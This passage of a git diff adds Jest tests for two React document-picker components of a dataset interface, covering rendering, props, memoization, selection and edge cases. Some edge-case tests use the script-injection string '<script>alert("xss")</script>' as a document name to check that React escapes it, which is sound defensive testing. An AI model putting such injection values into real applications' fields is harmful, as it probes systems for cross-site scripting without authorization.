+          extension: undefined,
+          chunkingMode: undefined,
+          parentMode: undefined,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should pass datasetId to useDocumentList hook', () => {
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      renderComponent({ datasetId: 'custom-dataset-id' })
+
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          datasetId: 'custom-dataset-id',
+        }),
+      )
+    })
+  })
+
+  // Tests for state management and updates
+  describe('State Management', () => {
+    it('should initialize with popup closed', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toHaveAttribute('data-open', 'false')
+    })
+
+    it('should open popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Verify click handler is called
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should maintain search query state', async () => {
+      renderComponent()
+
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      // Initial call should have empty keyword
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+
+    it('should update query when search input changes', () => {
+      renderComponent()
+
+      // Verify the component uses useDocumentList with query parameter
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onChange callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = {
+        name: 'Doc 1',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+      const value2 = {
+        name: 'Doc 2',
+        extension: 'pdf',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value1}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value2}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Component should still render correctly after rerender
+      expect(screen.getByText('Doc 2')).toBeInTheDocument()
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = {
+        name: 'Test Doc',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange1}
+          />
+        </QueryClientProvider>,
+      )
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange2}
+          />
+        </QueryClientProvider>,
+      )
+
+      // The component should use the new callback
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should memoize handleChange callback with useCallback', () => {
+      // The handleChange callback is created with useCallback and depends on
+      // documentsList, onChange, and setOpen
+      const onChange = jest.fn()
+      renderComponent({ onChange })
+
+      // Verify component renders correctly, callback memoization is internal
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for memoization logic and dependencies
+  describe('Memoization Logic', () => {
+    it('should be wrapped with React.memo', () => {
+      // React.memo components have a $$typeof property
+      expect((DocumentPicker as any).$$typeof).toBeDefined()
+    })
+
+    it('should compute parentModeLabel correctly with useMemo', () => {
+      // Test paragraph mode
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText(/dataset.parentMode.paragraph/)).toBeInTheDocument()
+    })
+
+    it('should update parentModeLabel when parentMode changes', () => {
+      // Test full-doc mode
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'full-doc',
+        },
+      })
+
+      expect(screen.getByText(/dataset.parentMode.fullDoc/)).toBeInTheDocument()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = {
+        name: 'Stable Doc',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Rerender with same props reference
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Stable Doc')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for user interactions and event handlers
+  describe('User Interactions', () => {
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Trigger click should be handled
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should handle document selection when popup is open', () => {
+      // Test the handleChange callback logic
+      const onChange = jest.fn()
+      const mockDocs = createMockDocumentList(3)
+      mockDocumentListData = { data: mockDocs }
+
+      renderComponent({ onChange })
+
+      // The handleChange callback should find the document and call onChange
+      // We can verify this by checking that useDocumentList was called
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should handle search input change', () => {
+      renderComponent()
+
+      // The search input is only visible when popup is open
+      // We verify that the component initializes with empty query
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+
+    it('should initialize with default query parameters', () => {
+      renderComponent()
+
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: {
+            keyword: '',
+            page: 1,
+            limit: 20,
+          },
+        }),
+      )
+    })
+  })
+
+  // Tests for API calls
+  describe('API Calls', () => {
+    it('should call useDocumentList with correct parameters', () => {
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      renderComponent({ datasetId: 'test-dataset-123' })
+
+      expect(useDocumentList).toHaveBeenCalledWith({
+        datasetId: 'test-dataset-123',
+        query: {
+          keyword: '',
+          page: 1,
+          limit: 20,
+        },
+      })
+    })
+
+    it('should handle loading state', () => {
+      mockDocumentListLoading = true
+      mockDocumentListData = undefined
+
+      renderComponent()
+
+      // When loading, component should still render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should fetch documents on mount', () => {
+      mockDocumentListLoading = false
+      mockDocumentListData = { data: createMockDocumentList(3) }
+
+      renderComponent()
+
+      // Verify the hook was called
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should handle empty document list', () => {
+      mockDocumentListData = { data: [] }
+
+      renderComponent()
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle undefined data response', () => {
+      mockDocumentListData = undefined
+
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should export as React.memo wrapped component', () => {
+      // Check that the component is memoized
+      expect(DocumentPicker).toBeDefined()
+      expect(typeof DocumentPicker).toBe('object') // React.memo returns an object
+    })
+
+    it('should preserve render output when datasetId is the same', () => {
+      const queryClient = createTestQueryClient()
+      const value = {
+        name: 'Memo Test',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+      const onChange = jest.fn()
+
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="same-dataset"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Memo Test')).toBeInTheDocument()
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="same-dataset"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Memo Test')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases and error handling
+  describe('Edge Cases', () => {
+    it('should handle null name', () => {
+      renderComponent({
+        value: {
+          name: undefined,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle empty string name', () => {
+      renderComponent({
+        value: {
+          name: '',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Empty string is falsy, so should show '--'
+      expect(screen.queryByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle undefined extension', () => {
+      renderComponent({
+        value: {
+          name: 'Test Doc',
+          extension: undefined,
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Should not crash
+      expect(screen.getByText('Test Doc')).toBeInTheDocument()
+    })
+
+    it('should handle undefined chunkingMode', () => {
+      renderComponent({
+        value: {
+          name: 'Test Doc',
+          extension: 'txt',
+          chunkingMode: undefined,
+        },
+      })
+
+      // When chunkingMode is undefined, none of the mode conditions are true
+      expect(screen.getByText('Test Doc')).toBeInTheDocument()
+    })
+
+    it('should handle document without data_source_detail_dict', () => {
+      const docWithoutDetail = createMockDocument({
+        id: 'doc-no-detail',
+        name: 'Doc Without Detail',
+        data_source_detail_dict: undefined,
+      })
+      mockDocumentListData = { data: [docWithoutDetail] }
+
+      // Component should handle mapping documents even without data_source_detail_dict
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle rapid toggle clicks', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Rapid clicks
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+
+      // Should not crash
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should handle very long document names in trigger', () => {
+      const longName = 'A'.repeat(500)
+      renderComponent({
+        value: {
+          name: longName,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Should render long name without crashing
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in document name', () => {
+      const specialName = '<script>alert("xss")</script>'
+      renderComponent({
+        value: {
+          name: specialName,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // React should escape the text
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle documents with missing extension in data_source_detail_dict', () => {
+      const docWithEmptyExtension = createMockDocument({
+        id: 'doc-empty-ext',
+        name: 'Doc Empty Ext',
+        data_source_detail_dict: {
+          upload_file: {
+            name: 'file-no-ext',
+            extension: '',
+          },
+        },
+      })
+      mockDocumentListData = { data: [docWithEmptyExtension] }
+
+      // Component should handle mapping documents with empty extension
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle document list mapping with various data_source_detail_dict states', () => {
+      // Test the mapping logic: d.data_source_detail_dict?.upload_file?.extension || ''
+      const docs = [
+        createMockDocument({
+          id: 'doc-1',
+          name: 'With Extension',
+          data_source_detail_dict: {
+            upload_file: { name: 'file.pdf', extension: 'pdf' },
+          },
+        }),
+        createMockDocument({
+          id: 'doc-2',
+          name: 'Without Detail Dict',
+          data_source_detail_dict: undefined,
+        }),
+      ]
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // Should not crash during mapping
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for all prop variations
+  describe('Prop Variations', () => {
+    describe('datasetId variations', () => {
+      it('should handle empty datasetId', () => {
+        renderComponent({ datasetId: '' })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
+      it('should handle UUID format datasetId', () => {
+        renderComponent({ datasetId: '123e4567-e89b-12d3-a456-426614174000' })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+    })
+
+    describe('value.chunkingMode variations', () => {
+      const chunkingModes = [
+        { mode: ChunkingMode.text, label: 'dataset.chunkingMode.general' },
+        { mode: ChunkingMode.qa, label: 'dataset.chunkingMode.qa' },
+        { mode: ChunkingMode.parentChild, label: 'dataset.chunkingMode.parentChild' },
+      ]
+
+      test.each(chunkingModes)(
+        'should display correct label for $mode mode',
+        ({ mode, label }) => {
+          renderComponent({
+            value: {
+              name: 'Test',
+              extension: 'txt',
+              chunkingMode: mode,
+              parentMode: mode === ChunkingMode.parentChild ? 'paragraph' : undefined,
+            },
+          })
+
+          expect(screen.getByText(new RegExp(label))).toBeInTheDocument()
+        },
+      )
+    })
+
+    describe('value.parentMode variations', () => {
+      const parentModes: Array<{ mode: ParentMode; label: string }> = [
+        { mode: 'paragraph', label: 'dataset.parentMode.paragraph' },
+        { mode: 'full-doc', label: 'dataset.parentMode.fullDoc' },
+      ]
+
+      test.each(parentModes)(
+        'should display correct label for $mode parentMode',
+        ({ mode, label }) => {
+          renderComponent({
+            value: {
+              name: 'Test',
+              extension: 'txt',
+              chunkingMode: ChunkingMode.parentChild,
+              parentMode: mode,
+            },
+          })
+
+          expect(screen.getByText(new RegExp(label))).toBeInTheDocument()
+        },
+      )
+    })
+
+    describe('value.extension variations', () => {
+      const extensions = ['txt', 'pdf', 'docx', 'xlsx', 'csv', 'md', 'html']
+
+      test.each(extensions)('should handle %s extension', (ext) => {
+        renderComponent({
+          value: {
+            name: `File.${ext}`,
+            extension: ext,
+            chunkingMode: ChunkingMode.text,
+          },
+        })
+
+        expect(screen.getByText(`File.${ext}`)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Tests for document selection
+  describe('Document Selection', () => {
+    it('should fetch documents list via useDocumentList', () => {
+      const mockDoc = createMockDocument({
+        id: 'selected-doc',
+        name: 'Selected Document',
+      })
+      mockDocumentListData = { data: [mockDoc] }
+      const onChange = jest.fn()
+
+      renderComponent({ onChange })
+
+      // Verify the hook was called
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should call onChange when document is selected', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+      const onChange = jest.fn()
+
+      renderComponent({ onChange })
+
+      // Click on a document in the list
+      fireEvent.click(screen.getByText('Document 2'))
+
+      // handleChange should find the document and call onChange with full document
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(docs[1])
+    })
+
+    it('should map document list items correctly', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // Documents should be rendered in the list
+      expect(screen.getByText('Document 1')).toBeInTheDocument()
+      expect(screen.getByText('Document 2')).toBeInTheDocument()
+      expect(screen.getByText('Document 3')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for integration with child components
+  describe('Child Component Integration', () => {
+    it('should pass correct data to DocumentList when popup is open', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // DocumentList receives mapped documents: { id, name, extension }
+      // We verify the data is fetched
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should map document data_source_detail_dict extension correctly', () => {
+      const doc = createMockDocument({
+        id: 'mapped-doc',
+        name: 'Mapped Document',
+        data_source_detail_dict: {
+          upload_file: {
+            name: 'mapped.pdf',
+            extension: 'pdf',
+          },
+        },
+      })
+      mockDocumentListData = { data: [doc] }
+
+      renderComponent()
+
+      // The mapping: d.data_source_detail_dict?.upload_file?.extension || ''
+      // Should extract 'pdf' from the document
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render trigger with SearchInput integration', () => {
+      renderComponent()
+
+      // The trigger is always rendered
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should integrate FileIcon component', () => {
+      // Use empty document list to avoid duplicate icons from list
+      mockDocumentListData = { data: [] }
+
+      renderComponent({
+        value: {
+          name: 'test.pdf',
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // FileIcon should be rendered via DocumentFileIcon - pdf renders pdf icon
+      expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for visual states
+  describe('Visual States', () => {
+    it('should apply hover styles on trigger', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const clickableDiv = trigger.querySelector('div')
+
+      expect(clickableDiv).toHaveClass('hover:bg-state-base-hover')
+    })
+
+    it('should render portal content for document selection', () => {
+      renderComponent()
+
+      // Portal content is rendered in our mock for testing
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx
new file mode 100644
index 0000000000..737ef8b6dc
--- /dev/null
+++ b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx
@@ -0,0 +1,641 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { DocumentItem } from '@/models/datasets'
+import PreviewDocumentPicker from './preview-document-picker'
+
+// Override shared i18n mock for custom translations
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, unknown>) => {
+      if (key === 'dataset.preprocessDocument' && params?.num)
+        return `${params.num} files`
+
+      return key
+    },
+  }),
+}))
+
+// Mock portal-to-follow-elem - always render content for testing
+jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
+  PortalToFollowElem: ({ children, open }: {
+    children: React.ReactNode
+    open?: boolean
+  }) => (
+    <div data-testid="portal-elem" data-open={String(open || false)}>
+      {children}
+    </div>
+  ),
+  PortalToFollowElemTrigger: ({ children, onClick }: {
+    children: React.ReactNode
+    onClick?: () => void
+  }) => (
+    <div data-testid="portal-trigger" onClick={onClick}>
+      {children}
+    </div>
+  ),
+  // Always render content to allow testing document selection
+  PortalToFollowElemContent: ({ children, className }: {
+    children: React.ReactNode
+    className?: string
+  }) => (
+    <div data-testid="portal-content" className={className}>
+      {children}
+    </div>
+  ),
+}))
+
+// Mock icons
+jest.mock('@remixicon/react', () => ({
+  RiArrowDownSLine: () => <span data-testid="arrow-icon">↓</span>,
+  RiFile3Fill: () => <span data-testid="file-icon">📄</span>,
+  RiFileCodeFill: () => <span data-testid="file-code-icon">📄</span>,
+  RiFileExcelFill: () => <span data-testid="file-excel-icon">📄</span>,
+  RiFileGifFill: () => <span data-testid="file-gif-icon">📄</span>,
+  RiFileImageFill: () => <span data-testid="file-image-icon">📄</span>,
+  RiFileMusicFill: () => <span data-testid="file-music-icon">📄</span>,
+  RiFilePdf2Fill: () => <span data-testid="file-pdf-icon">📄</span>,
+  RiFilePpt2Fill: () => <span data-testid="file-ppt-icon">📄</span>,
+  RiFileTextFill: () => <span data-testid="file-text-icon">📄</span>,
+  RiFileVideoFill: () => <span data-testid="file-video-icon">📄</span>,
+  RiFileWordFill: () => <span data-testid="file-word-icon">📄</span>,
+  RiMarkdownFill: () => <span data-testid="file-markdown-icon">📄</span>,
+}))
+
+// Factory function to create mock DocumentItem
+const createMockDocumentItem = (overrides: Partial<DocumentItem> = {}): DocumentItem => ({
+  id: `doc-${Math.random().toString(36).substr(2, 9)}`,
+  name: 'Test Document',
+  extension: 'txt',
+  ...overrides,
+})
+
+// Factory function to create multiple document items
+const createMockDocumentList = (count: number): DocumentItem[] => {
+  return Array.from({ length: count }, (_, index) =>
+    createMockDocumentItem({
+      id: `doc-${index + 1}`,
+      name: `Document ${index + 1}`,
+      extension: index % 2 === 0 ? 'pdf' : 'txt',
+    }),
+  )
+}
+
+// Factory function to create default props
+const createDefaultProps = (overrides: Partial<React.ComponentProps<typeof PreviewDocumentPicker>> = {}) => ({
+  value: createMockDocumentItem({ id: 'selected-doc', name: 'Selected Document' }),
+  files: createMockDocumentList(3),
+  onChange: jest.fn(),
+  ...overrides,
+})
+
+// Helper to render component with default props
+const renderComponent = (props: Partial<React.ComponentProps<typeof PreviewDocumentPicker>> = {}) => {
+  const defaultProps = createDefaultProps(props)
+  return {
+    ...render(<PreviewDocumentPicker {...defaultProps} />),
+    props: defaultProps,
+  }
+}
+
+describe('PreviewDocumentPicker', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render document name from value prop', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'My Document' }),
+      })
+
+      expect(screen.getByText('My Document')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is empty', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: '' }),
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is undefined', () => {
+      renderComponent({
+        value: { id: 'doc-1', extension: 'txt' } as DocumentItem,
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render arrow icon', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('arrow-icon')).toBeInTheDocument()
+    })
+
+    it('should render file icon', () => {
+      renderComponent({
+        value: createMockDocumentItem({ extension: 'txt' }),
+        files: [], // Use empty files to avoid duplicate icons
+      })
+
+      expect(screen.getByTestId('file-text-icon')).toBeInTheDocument()
+    })
+
+    it('should render pdf icon for pdf extension', () => {
+      renderComponent({
+        value: createMockDocumentItem({ extension: 'pdf' }),
+        files: [], // Use empty files to avoid duplicate icons
+      })
+
+      expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should accept required props', () => {
+      const props = createDefaultProps()
+      render(<PreviewDocumentPicker {...props} />)
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should apply className to trigger element', () => {
+      renderComponent({ className: 'custom-class' })
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const innerDiv = trigger.querySelector('.custom-class')
+      expect(innerDiv).toBeInTheDocument()
+    })
+
+    it('should handle empty files array', () => {
+      // Component should render without crashing with empty files
+      renderComponent({ files: [] })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle single file', () => {
+      // Component should accept single file
+      renderComponent({
+        files: [createMockDocumentItem({ id: 'single-doc', name: 'Single File' })],
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle multiple files', () => {
+      // Component should accept multiple files
+      renderComponent({
+        files: createMockDocumentList(5),
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should use value.extension for file icon', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'test.docx', extension: 'docx' }),
+      })
+
+      expect(screen.getByTestId('file-word-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for state management
+  describe('State Management', () => {
+    it('should initialize with popup closed', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toHaveAttribute('data-open', 'false')
+    })
+
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should render portal content for document selection', () => {
+      renderComponent()
+
+      // Portal content is always rendered in our mock for testing
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onChange callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = createMockDocumentItem({ id: 'doc-1', name: 'Doc 1' })
+      const value2 = createMockDocumentItem({ id: 'doc-2', name: 'Doc 2' })
+
+      const { rerender } = render(
+        <PreviewDocumentPicker
+          value={value1}
+          files={createMockDocumentList(3)}
+          onChange={onChange}
+        />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker
+          value={value2}
+          files={createMockDocumentList(3)}
+          onChange={onChange}
+        />,
+      )
+
+      expect(screen.getByText('Doc 2')).toBeInTheDocument()
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = createMockDocumentItem()
+      const files = createMockDocumentList(3)
+
+      const { rerender } = render(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange1} />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange2} />,
+      )
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect((PreviewDocumentPicker as any).$$typeof).toBeDefined()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = createMockDocumentItem()
+      const files = createMockDocumentList(3)
+
+      const { rerender } = render(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange} />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange} />,
+      )
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for user interactions
+  describe('User Interactions', () => {
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should render document list with files', () => {
+      const files = createMockDocumentList(3)
+      renderComponent({ files })
+
+      // Documents should be visible in the list
+      expect(screen.getByText('Document 1')).toBeInTheDocument()
+      expect(screen.getByText('Document 2')).toBeInTheDocument()
+      expect(screen.getByText('Document 3')).toBeInTheDocument()
+    })
+
+    it('should call onChange when document is selected', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click on a document
+      fireEvent.click(screen.getByText('Document 2'))
+
+      // handleChange should call onChange with the selected item
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(files[1])
+    })
+
+    it('should handle rapid toggle clicks', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Rapid clicks
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases
+  describe('Edge Cases', () => {
+    it('should handle null value properties gracefully', () => {
+      renderComponent({
+        value: { id: 'doc-1', name: '', extension: '' },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle empty files array', () => {
+      renderComponent({ files: [] })
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle very long document names', () => {
+      const longName = 'A'.repeat(500)
+      renderComponent({
+        value: createMockDocumentItem({ name: longName }),
+      })
+
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in document name', () => {
+      const specialName = '<script>alert("xss")</script>'
+      renderComponent({
+        value: createMockDocumentItem({ name: specialName }),
+      })
+
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle undefined files prop', () => {
+      // Test edge case where files might be undefined at runtime
+      const props = createDefaultProps()
+      // @ts-expect-error - Testing runtime edge case
+      props.files = undefined
+
+      render(<PreviewDocumentPicker {...props} />)
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle large number of files', () => {
+      const manyFiles = createMockDocumentList(100)
+      renderComponent({ files: manyFiles })
+
+      // Component should accept large files array
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle files with same name but different extensions', () => {
+      const files = [
+        createMockDocumentItem({ id: 'doc-1', name: 'document', extension: 'pdf' }),
+        createMockDocumentItem({ id: 'doc-2', name: 'document', extension: 'txt' }),
+      ]
+      renderComponent({ files })
+
+      // Component should handle duplicate names
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for prop variations
+  describe('Prop Variations', () => {
+    describe('value variations', () => {
+      it('should handle value with all fields', () => {
+        renderComponent({
+          value: {
+            id: 'full-doc',
+            name: 'Full Document',
+            extension: 'pdf',
+          },
+        })
+
+        expect(screen.getByText('Full Document')).toBeInTheDocument()
+      })
+
+      it('should handle value with minimal fields', () => {
+        renderComponent({
+          value: { id: 'minimal', name: '', extension: '' },
+        })
+
+        expect(screen.getByText('--')).toBeInTheDocument()
+      })
+    })
+
+    describe('files variations', () => {
+      it('should handle single file', () => {
+        renderComponent({
+          files: [createMockDocumentItem({ name: 'Single' })],
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
